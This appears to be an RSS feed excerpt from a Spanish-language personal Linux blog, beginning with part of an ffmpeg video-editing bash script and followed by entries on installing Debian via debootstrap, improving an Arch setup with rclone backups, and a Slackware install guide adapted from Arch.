</span></span><span style="display:flex;"><span> -c|--compress<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span> COMPRESS<span style="color:#f92672">=</span>true
</span></span><span style="display:flex;"><span> shift
</span></span><span style="display:flex;"><span> ;;
</span></span><span style="display:flex;"><span> --vertical<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span> ASPECT_RATIO<span style="color:#f92672">=</span><span style="color:#e6db74">"9:16"</span>
</span></span><span style="display:flex;"><span> shift
</span></span><span style="display:flex;"><span> ;;
</span></span><span style="display:flex;"><span> --square<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span> ASPECT_RATIO<span style="color:#f92672">=</span><span style="color:#e6db74">"1:1"</span>
</span></span><span style="display:flex;"><span> shift
</span></span><span style="display:flex;"><span> ;;
</span></span><span style="display:flex;"><span> *<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span> POSITIONAL_ARGS<span style="color:#f92672">+=(</span><span style="color:#e6db74">"</span>$1<span style="color:#e6db74">"</span><span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span> shift
</span></span><span style="display:flex;"><span> ;;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">esac</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">done</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Restaurar argumentos posicionales</span>
</span></span><span style="display:flex;"><span>set -- <span style="color:#e6db74">"</span><span style="color:#e6db74">${</span>POSITIONAL_ARGS[@]<span style="color:#e6db74">}</span><span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Validar argumentos requeridos</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> <span style="color:#f92672">[</span> $# -lt <span style="color:#ae81ff">1</span> <span style="color:#f92672">]</span>; <span style="color:#66d9ef">then</span>
</span></span><span style="display:flex;"><span> echo -e <span style="color:#e6db74">"</span><span style="color:#e6db74">${</span>RED<span style="color:#e6db74">}</span><span style="color:#e6db74">Error: Se requiere al menos el archivo de entrada</span><span style="color:#e6db74">${</span>NC<span style="color:#e6db74">}</span><span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span> show_help
</span></span><span style="display:flex;"><span> exit <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">fi</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>INPUT<span style="color:#f92672">=</span><span style="color:#e6db74">"</span>$1<span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span> $# -ge <span style="color:#ae81ff">2</span> <span style="color:#f92672">]</span> <span style="color:#f92672">&&</span> START_TIME<span style="color:#f92672">=</span><span style="color:#e6db74">"</span>$2<span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span> $# -ge <span style="color:#ae81ff">3</span> <span style="color:#f92672">]</span> <span style="color:#f92672">&&</span> DURATION<span style="color:#f92672">=</span><span style="color:#e6db74">"</span>$3<span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Validar que el archivo existe</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> <span style="color:#f92672">[</span> ! -f <span style="color:#e6db74">"</span>$INPUT<span style="color:#e6db74">"</span> <span style="color:#f92672">]</span>; <span style="color:#66d9ef">then</span>
</span></span><span style="display:flex;"><span> echo -e <span style="color:#e6db74">"</span><span style="color:#e6db74">${</span>RED<span style="color:#e6db74">}</span><span style="color:#e6db74">Error: El archivo '</span>$INPUT<span style="color:#e6db74">' no existe</span><span style="color:#e6db74">${</span>NC<span style="color:#e6db74">}</span><span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span> exit <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">fi</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Generar nombre de salida si no se especificó</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> <span style="color:#f92672">[</span> -z <span style="color:#e6db74">"</span>$OUTPUT<span style="color:#e6db74">"</span> <span style="color:#f92672">]</span>; <span style="color:#66d9ef">then</span>
</span></span><span style="display:flex;"><span> BASENAME<span style="color:#f92672">=</span><span style="color:#66d9ef">$(</span>basename <span style="color:#e6db74">"</span>$INPUT<span style="color:#e6db74">"</span> | sed <span style="color:#e6db74">'s/\.[^.]*$//'</span><span style="color:#66d9ef">)</span>
</span></span><span style="display:flex;"><span> OUTPUT<span style="color:#f92672">=</span><span style="color:#e6db74">"</span><span style="color:#e6db74">${</span>BASENAME<span style="color:#e6db74">}</span><span style="color:#e6db74">_edited_</span><span style="color:#66d9ef">$(</span>date +%Y%m%d_%H%M%S<span style="color:#66d9ef">)</span><span style="color:#e6db74">.mp4"</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">fi</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>echo -e <span style="color:#e6db74">"</span><span style="color:#e6db74">${</span>GREEN<span style="color:#e6db74">}</span><span style="color:#e6db74">=== Editor de Video FFmpeg ===</span><span style="color:#e6db74">${</span>NC<span style="color:#e6db74">}</span><span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">"Input: </span>$INPUT<span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">"Inicio: </span>$START_TIME<span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">"Duración: </span><span style="color:#e6db74">${</span>DURATION<span style="color:#66d9ef">:-</span><span style="color:#e6db74">"hasta el final"</span><span style="color:#e6db74">}</span><span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">"Output: </span>$OUTPUT<span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">"Aspect Ratio: </span>$ASPECT_RATIO<span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">"Velocidad: </span><span style="color:#e6db74">${</span>SPEED<span style="color:#e6db74">}</span><span style="color:#e6db74">x"</span>
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">"Zoom: </span><span style="color:#e6db74">${</span>ZOOM<span style="color:#e6db74">}</span><span style="color:#e6db74">x"</span>
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">""</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Calcular dimensiones según aspect ratio</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">case</span> $ASPECT_RATIO in
</span></span><span style="display:flex;"><span> 9:16|vertical<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span> WIDTH<span style="color:#f92672">=</span><span style="color:#ae81ff">1080</span>
</span></span><span style="display:flex;"><span> HEIGHT<span style="color:#f92672">=</span><span style="color:#ae81ff">1920</span>
</span></span><span style="display:flex;"><span> ;;
</span></span><span style="display:flex;"><span> 1:1|square<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span> WIDTH<span style="color:#f92672">=</span><span style="color:#ae81ff">1080</span>
</span></span><span style="display:flex;"><span> HEIGHT<span style="color:#f92672">=</span><span style="color:#ae81ff">1080</span>
</span></span><span style="display:flex;"><span> ;;
</span></span><span style="display:flex;"><span> 16:9|horizontal<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span> WIDTH<span style="color:#f92672">=</span><span style="color:#ae81ff">1920</span>
</span></span><span style="display:flex;"><span> HEIGHT<span style="color:#f92672">=</span><span style="color:#ae81ff">1080</span>
</span></span><span style="display:flex;"><span> ;;
</span></span><span style="display:flex;"><span> *<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span> echo -e <span style="color:#e6db74">"</span><span style="color:#e6db74">${</span>YELLOW<span style="color:#e6db74">}</span><span style="color:#e6db74">Advertencia: Aspect ratio no reconocido, usando 9:16</span><span style="color:#e6db74">${</span>NC<span style="color:#e6db74">}</span><span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span> WIDTH<span style="color:#f92672">=</span><span style="color:#ae81ff">1080</span>
</span></span><span style="display:flex;"><span> HEIGHT<span style="color:#f92672">=</span><span style="color:#ae81ff">1920</span>
</span></span><span style="display:flex;"><span> ;;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">esac</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Construir filtros de video</span>
</span></span><span style="display:flex;"><span>FILTERS<span style="color:#f92672">=</span><span style="color:#e6db74">""</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># 1. Ajustar velocidad si es necesario</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> <span style="color:#f92672">[</span> <span style="color:#e6db74">"</span>$SPEED<span style="color:#e6db74">"</span> !<span style="color:#f92672">=</span> <span style="color:#e6db74">"1.0"</span> <span style="color:#f92672">]</span>; <span style="color:#66d9ef">then</span>
</span></span><span style="display:flex;"><span> FILTERS<span style="color:#f92672">=</span><span style="color:#e6db74">"</span><span style="color:#e6db74">${</span>FILTERS<span style="color:#e6db74">}</span><span style="color:#e6db74">setpts=PTS/</span><span style="color:#e6db74">${</span>SPEED<span style="color:#e6db74">}</span><span style="color:#e6db74">,"</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">fi</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># 2. Aplicar zoom si es necesario</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> <span style="color:#f92672">[</span> <span style="color:#e6db74">"</span>$ZOOM<span style="color:#e6db74">"</span> !<span style="color:#f92672">=</span> <span style="color:#e6db74">"1.0"</span> <span style="color:#f92672">]</span>; <span style="color:#66d9ef">then</span>
</span></span><span style="display:flex;"><span> FILTERS<span style="color:#f92672">=</span><span style="color:#e6db74">"</span><span style="color:#e6db74">${</span>FILTERS<span style="color:#e6db74">}</span><span style="color:#e6db74">scale=iw*</span><span style="color:#e6db74">${</span>ZOOM<span style="color:#e6db74">}</span><span style="color:#e6db74">:ih*</span><span style="color:#e6db74">${</span>ZOOM<span style="color:#e6db74">}</span><span style="color:#e6db74">,crop=iw/</span><span style="color:#e6db74">${</span>ZOOM<span style="color:#e6db74">}</span><span style="color:#e6db74">:ih/</span><span style="color:#e6db74">${</span>ZOOM<span style="color:#e6db74">}</span><span style="color:#e6db74">,"</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">fi</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># 3. Blur en los bordes (efecto letterbox popular en Instagram)</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> <span style="color:#f92672">[</span> <span style="color:#e6db74">"</span>$ADD_BLUR<span style="color:#e6db74">"</span> <span style="color:#f92672">=</span> true <span style="color:#f92672">]</span>; <span style="color:#66d9ef">then</span>
</span></span><span style="display:flex;"><span> FILTERS<span style="color:#f92672">=</span><span style="color:#e6db74">"</span><span style="color:#e6db74">${</span>FILTERS<span style="color:#e6db74">}</span><span style="color:#e6db74">split[main][blur];[blur]scale=</span><span style="color:#e6db74">${</span>WIDTH<span style="color:#e6db74">}</span><span style="color:#e6db74">:</span><span style="color:#e6db74">${</span>HEIGHT<span style="color:#e6db74">}</span><span style="color:#e6db74">:force_original_aspect_ratio=increase,crop=</span><span style="color:#e6db74">${</span>WIDTH<span style="color:#e6db74">}</span><span style="color:#e6db74">:</span><span style="color:#e6db74">${</span>HEIGHT<span style="color:#e6db74">}</span><span style="color:#e6db74">,boxblur=20:5[blurred];[blurred][main]overlay=(W-w)/2:(H-h)/2,"</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">else</span>
</span></span><span style="display:flex;"><span> <span style="color:#75715e"># Solo escalar y hacer crop</span>
</span></span><span style="display:flex;"><span> FILTERS<span style="color:#f92672">=</span><span style="color:#e6db74">"</span><span style="color:#e6db74">${</span>FILTERS<span style="color:#e6db74">}</span><span style="color:#e6db74">scale=</span><span style="color:#e6db74">${</span>WIDTH<span style="color:#e6db74">}</span><span style="color:#e6db74">:</span><span style="color:#e6db74">${</span>HEIGHT<span style="color:#e6db74">}</span><span style="color:#e6db74">:force_original_aspect_ratio=increase,crop=</span><span style="color:#e6db74">${</span>WIDTH<span style="color:#e6db74">}</span><span style="color:#e6db74">:</span><span style="color:#e6db74">${</span>HEIGHT<span style="color:#e6db74">}</span><span style="color:#e6db74">,"</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">fi</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># 4. Añadir fade in/out</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> <span style="color:#f92672">[</span> <span style="color:#e6db74">"</span>$ADD_FADE<span style="color:#e6db74">"</span> <span style="color:#f92672">=</span> true <span style="color:#f92672">]</span>; <span style="color:#66d9ef">then</span>
</span></span><span style="display:flex;"><span> FADE_DURATION<span style="color:#f92672">=</span><span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> <span style="color:#f92672">[</span> -n <span style="color:#e6db74">"</span>$DURATION<span style="color:#e6db74">"</span> <span style="color:#f92672">]</span>; <span style="color:#66d9ef">then</span>
</span></span><span style="display:flex;"><span> <span style="color:#75715e"># Calcular duración en segundos si está en formato HH:MM:SS</span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> <span style="color:#f92672">[[</span> $DURATION <span style="color:#f92672">=</span>~ : <span style="color:#f92672">]]</span>; <span style="color:#66d9ef">then</span>
</span></span><span style="display:flex;"><span> DUR_SEC<span style="color:#f92672">=</span><span style="color:#66d9ef">$(</span>echo <span style="color:#e6db74">"</span>$DURATION<span style="color:#e6db74">"</span> | awk -F: <span style="color:#e6db74">'{ print ($1 * 3600) + ($2 * 60) + $3 }'</span><span style="color:#66d9ef">)</span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">else</span>
</span></span><span style="display:flex;"><span> DUR_SEC<span style="color:#f92672">=</span>$DURATION
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">fi</span>
</span></span><span style="display:flex;"><span> FILTERS<span style="color:#f92672">=</span><span style="color:#e6db74">"</span><span style="color:#e6db74">${</span>FILTERS<span style="color:#e6db74">}</span><span style="color:#e6db74">fade=t=in:st=0:d=</span><span style="color:#e6db74">${</span>FADE_DURATION<span style="color:#e6db74">}</span><span style="color:#e6db74">,fade=t=out:st=</span><span style="color:#66d9ef">$((</span>DUR_SEC <span style="color:#f92672">-</span> FADE_DURATION<span style="color:#66d9ef">))</span><span style="color:#e6db74">:d=</span><span style="color:#e6db74">${</span>FADE_DURATION<span style="color:#e6db74">}</span><span style="color:#e6db74">,"</span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">else</span>
</span></span><span style="display:flex;"><span> FILTERS<span style="color:#f92672">=</span><span style="color:#e6db74">"</span><span style="color:#e6db74">${</span>FILTERS<span style="color:#e6db74">}</span><span style="color:#e6db74">fade=t=in:st=0:d=</span><span style="color:#e6db74">${</span>FADE_DURATION<span style="color:#e6db74">}</span><span style="color:#e6db74">,"</span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">fi</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">fi</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># 5. Añadir texto si se especificó</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> <span style="color:#f92672">[</span> -n <span style="color:#e6db74">"</span>$TEXT<span style="color:#e6db74">"</span> <span style="color:#f92672">]</span>; <span style="color:#66d9ef">then</span>
</span></span><span style="display:flex;"><span> <span style="color:#75715e"># Escapar caracteres especiales</span>
</span></span><span style="display:flex;"><span> TEXT_ESCAPED<span style="color:#f92672">=</span><span style="color:#66d9ef">$(</span>echo <span style="color:#e6db74">"</span>$TEXT<span style="color:#e6db74">"</span> | sed <span style="color:#e6db74">"s/:/\\\\:/g"</span> | sed <span style="color:#e6db74">"s/'/\\\\'/g"</span><span style="color:#66d9ef">)</span>
</span></span><span style="display:flex;"><span> FILTERS<span style="color:#f92672">=</span><span style="color:#e6db74">"</span><span style="color:#e6db74">${</span>FILTERS<span style="color:#e6db74">}</span><span style="color:#e6db74">drawtext=fontfile=/usr/share/fonts/TTF/DejaVuSans-Bold.ttf:text='</span><span style="color:#e6db74">${</span>TEXT_ESCAPED<span style="color:#e6db74">}</span><span style="color:#e6db74">':fontcolor=white:fontsize=48:box=1:[email protected]:boxborderw=5:x=(w-text_w)/2:y=h-th-50,"</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">fi</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Remover la última coma</span>
</span></span><span style="display:flex;"><span>FILTERS<span style="color:#f92672">=</span><span style="color:#e6db74">"</span><span style="color:#e6db74">${</span>FILTERS%,<span style="color:#e6db74">}</span><span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Construir comando ffmpeg</span>
</span></span><span style="display:flex;"><span>FFMPEG_CMD<span style="color:#f92672">=</span><span style="color:#e6db74">"ffmpeg -i \"</span>$INPUT<span style="color:#e6db74">\""</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Añadir tiempo de inicio</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> <span style="color:#f92672">[</span> <span style="color:#e6db74">"</span>$START_TIME<span style="color:#e6db74">"</span> !<span style="color:#f92672">=</span> <span style="color:#e6db74">"0"</span> <span style="color:#f92672">]</span>; <span style="color:#66d9ef">then</span>
</span></span><span style="display:flex;"><span> FFMPEG_CMD<span style="color:#f92672">=</span><span style="color:#e6db74">"</span>$FFMPEG_CMD<span style="color:#e6db74"> -ss </span>$START_TIME<span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">fi</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Añadir duración</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> <span style="color:#f92672">[</span> -n <span style="color:#e6db74">"</span>$DURATION<span style="color:#e6db74">"</span> <span style="color:#f92672">]</span>; <span style="color:#66d9ef">then</span>
</span></span><span style="display:flex;"><span> FFMPEG_CMD<span style="color:#f92672">=</span><span style="color:#e6db74">"</span>$FFMPEG_CMD<span style="color:#e6db74"> -t </span>$DURATION<span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">fi</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Añadir filtros de video</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> <span style="color:#f92672">[</span> -n <span style="color:#e6db74">"</span>$FILTERS<span style="color:#e6db74">"</span> <span style="color:#f92672">]</span>; <span style="color:#66d9ef">then</span>
</span></span><span style="display:flex;"><span> FFMPEG_CMD<span style="color:#f92672">=</span><span style="color:#e6db74">"</span>$FFMPEG_CMD<span style="color:#e6db74"> -vf \"</span>$FILTERS<span style="color:#e6db74">\""</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">fi</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Ajustar audio a la velocidad</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> <span style="color:#f92672">[</span> <span style="color:#e6db74">"</span>$SPEED<span style="color:#e6db74">"</span> !<span style="color:#f92672">=</span> <span style="color:#e6db74">"1.0"</span> <span style="color:#f92672">]</span>; <span style="color:#66d9ef">then</span>
</span></span><span style="display:flex;"><span> FFMPEG_CMD<span style="color:#f92672">=</span><span style="color:#e6db74">"</span>$FFMPEG_CMD<span style="color:#e6db74"> -af \"atempo=</span>$SPEED<span style="color:#e6db74">\""</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">fi</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Configuración de encoding</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> <span style="color:#f92672">[</span> <span style="color:#e6db74">"</span>$COMPRESS<span style="color:#e6db74">"</span> <span style="color:#f92672">=</span> true <span style="color:#f92672">]</span>; <span style="color:#66d9ef">then</span>
</span></span><span style="display:flex;"><span> <span style="color:#75715e"># Optimizado para redes sociales</span>
</span></span><span style="display:flex;"><span> FFMPEG_CMD<span style="color:#f92672">=</span><span style="color:#e6db74">"</span>$FFMPEG_CMD<span style="color:#e6db74"> -c:v libx264 -preset </span>$QUALITY<span style="color:#e6db74"> -crf 23 -c:a aac -b:a 128k -movflags +faststart"</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">else</span>
</span></span><span style="display:flex;"><span> <span style="color:#75715e"># Calidad alta</span>
</span></span><span style="display:flex;"><span> FFMPEG_CMD<span style="color:#f92672">=</span><span style="color:#e6db74">"</span>$FFMPEG_CMD<span style="color:#e6db74"> -c:v libx264 -preset </span>$QUALITY<span style="color:#e6db74"> -crf 18 -c:a aac -b:a 192k -movflags +faststart"</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">fi</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Forzar framerate</span>
</span></span><span style="display:flex;"><span>FFMPEG_CMD<span style="color:#f92672">=</span><span style="color:#e6db74">"</span>$FFMPEG_CMD<span style="color:#e6db74"> -r 30"</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Output</span>
</span></span><span style="display:flex;"><span>FFMPEG_CMD<span style="color:#f92672">=</span><span style="color:#e6db74">"</span>$FFMPEG_CMD<span style="color:#e6db74"> \"</span>$OUTPUT<span style="color:#e6db74">\""</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Mostrar comando</span>
</span></span><span style="display:flex;"><span>echo -e <span style="color:#e6db74">"</span><span style="color:#e6db74">${</span>YELLOW<span style="color:#e6db74">}</span><span style="color:#e6db74">Ejecutando:</span><span style="color:#e6db74">${</span>NC<span style="color:#e6db74">}</span><span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">"</span>$FFMPEG_CMD<span style="color:#e6db74">"</span> | sed <span style="color:#e6db74">'s/ -/\n -/g'</span>
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">""</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Ejecutar</span>
</span></span><span style="display:flex;"><span>eval $FFMPEG_CMD
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Verificar resultado</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> <span style="color:#f92672">[</span> $? -eq <span style="color:#ae81ff">0</span> <span style="color:#f92672">]</span>; <span style="color:#66d9ef">then</span>
</span></span><span style="display:flex;"><span> FILE_SIZE<span style="color:#f92672">=</span><span style="color:#66d9ef">$(</span>du -h <span style="color:#e6db74">"</span>$OUTPUT<span style="color:#e6db74">"</span> | cut -f1<span style="color:#66d9ef">)</span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">""</span>
</span></span><span style="display:flex;"><span> echo -e <span style="color:#e6db74">"</span><span style="color:#e6db74">${</span>GREEN<span style="color:#e6db74">}</span><span style="color:#e6db74">✓ Video editado exitosamente!</span><span style="color:#e6db74">${</span>NC<span style="color:#e6db74">}</span><span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">"Archivo: </span>$OUTPUT<span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">"Tamaño: </span>$FILE_SIZE<span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">""</span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">"Para ver el resultado:"</span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">" mpv \"</span>$OUTPUT<span style="color:#e6db74">\""</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">else</span>
</span></span><span style="display:flex;"><span> echo -e <span style="color:#e6db74">"</span><span style="color:#e6db74">${</span>RED<span style="color:#e6db74">}</span><span style="color:#e6db74">✗ Error al procesar el video</span><span style="color:#e6db74">${</span>NC<span style="color:#e6db74">}</span><span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span> exit <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">fi</span>
</span></span></code></pre></div>
-
Instalar Debian como ArchLinux con debootstrap
https://imlauera.github.io/debian_install_arch/
Sun, 28 Dec 2025 01:24:27 -0300
https://imlauera.github.io/debian_install_arch/
<p>Todavía tengo que revisar esto. Le pedí a Claude AI que me lo genere a partir de mi instalación de ArchLinux.</p>
<p>Tienes dos opciones:</p>
<h2 id="opción-1-instalar-debootstrap-en-el-livecd-de-arch-recomendada">Opción 1: Instalar debootstrap en el LiveCD de Arch (Recomendada)</h2>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># Desde el LiveCD de Arch Linux</span>
</span></span><span style="display:flex;"><span>pacman -Sy debootstrap debian-archive-keyring
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Luego sí puedes usar el comando:</span>
</span></span><span style="display:flex;"><span>debootstrap --arch amd64 bookworm /mnt http://deb.debian.org/debian
</span></span></code></pre></div><h2 id="opción-2-usar-el-livecd-oficial-de-debian">Opción 2: Usar el LiveCD oficial de Debian</h2>
<p>Descarga la <strong>netinst</strong> o <strong>live</strong> de Debian desde:</p>
-
ArchLinux mejoras?
https://imlauera.github.io/archlinux_better/
Sat, 27 Dec 2025 23:25:53 -0300
https://imlauera.github.io/archlinux_better/
<p>Le pregunte a Claude AI si podia mejorar mi instalacion</p>
<h1 id="ideas-creativas-para-tu-guía-de-arch-linux">Ideas Creativas para tu Guía de Arch Linux</h1>
<p>Basándome en tu setup minimalista y tu enfoque en la TTY/terminal, aquí van algunas ideas creativas:</p>
<h2 id="1-sistema-de-respaldo-automático-con-rclone">1. <strong>Sistema de Respaldo Automático con Rclone</strong></h2>
<p>Ya tenés rclone instalado, podrías crear scripts automatizados con cron:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e">#!/bin/bash
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"># Backup automático a la nube cada noche</span>
</span></span><span style="display:flex;"><span>rclone sync ~/documents remote:backup/documents
</span></span><span style="display:flex;"><span>rclone sync ~/projects remote:backup/projects
</span></span><span style="display:flex;"><span>rclone sync ~/.config remote:backup/dotfiles
</span></span></code></pre></div><h2 id="2-dashboard-de-información-en-tty">2. <strong>Dashboard de Información en TTY</strong></h2>
<p>Crear un dashboard personalizado que se ejecute al arrancar una TTY específica:</p>
-
Instalar Slackware como ArchLinux.
https://imlauera.github.io/slackware/
Sat, 27 Dec 2025 22:55:24 -0300
https://imlauera.github.io/slackware/
<p>Le pedi a Claude AI que me haga una simulacion de una instalacion de Slackware usando mi guia real de ArchLinux.</p>
<h1 id="slackware-installation-guide-based-on-your-arch-workflow">Slackware Installation Guide (Based on Your Arch Workflow)</h1>
<p>Here’s how to achieve a similar setup on Slackware, adapted from your Arch installation process:</p>
<h2 id="pre-installation">Pre-Installation</h2>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># Load keyboard layout</span>
</span></span><span style="display:flex;"><span>loadkeys es
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Slackware installer handles most setup, but for manual WiFi:</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># List wireless interfaces</span>
</span></span><span style="display:flex;"><span>iwconfig
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Connect to WiFi</span>
</span></span><span style="display:flex;"><span>wpa_passphrase <span style="color:#e6db74">"your-ssid"</span> <span style="color:#e6db74">"your-password"</span> > /etc/wpa_supplicant.conf
</span></span><span style="display:flex;"><span>wpa_supplicant -B -i wlan0 -c /etc/wpa_supplicant.conf
</span></span><span style="display:flex;"><span>dhcpcd wlan0
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Test connection</span>
</span></span><span style="display:flex;"><span>ping -c <span style="color:#ae81ff">3</span> slackware.com
</span></span></code></pre></div><h2 id="partitioning-gpt-for-uefi">Partitioning (GPT for UEFI)</h2>
<p>Slackware can use <code>gdisk</code> or <code>cfdisk</code>:</p>
-
I tried NetBSD. Intenté usar NetBSD por día.
https://imlauera.github.io/try_netbsd/
Sat, 27 Dec 2025 14:58:04 -0300
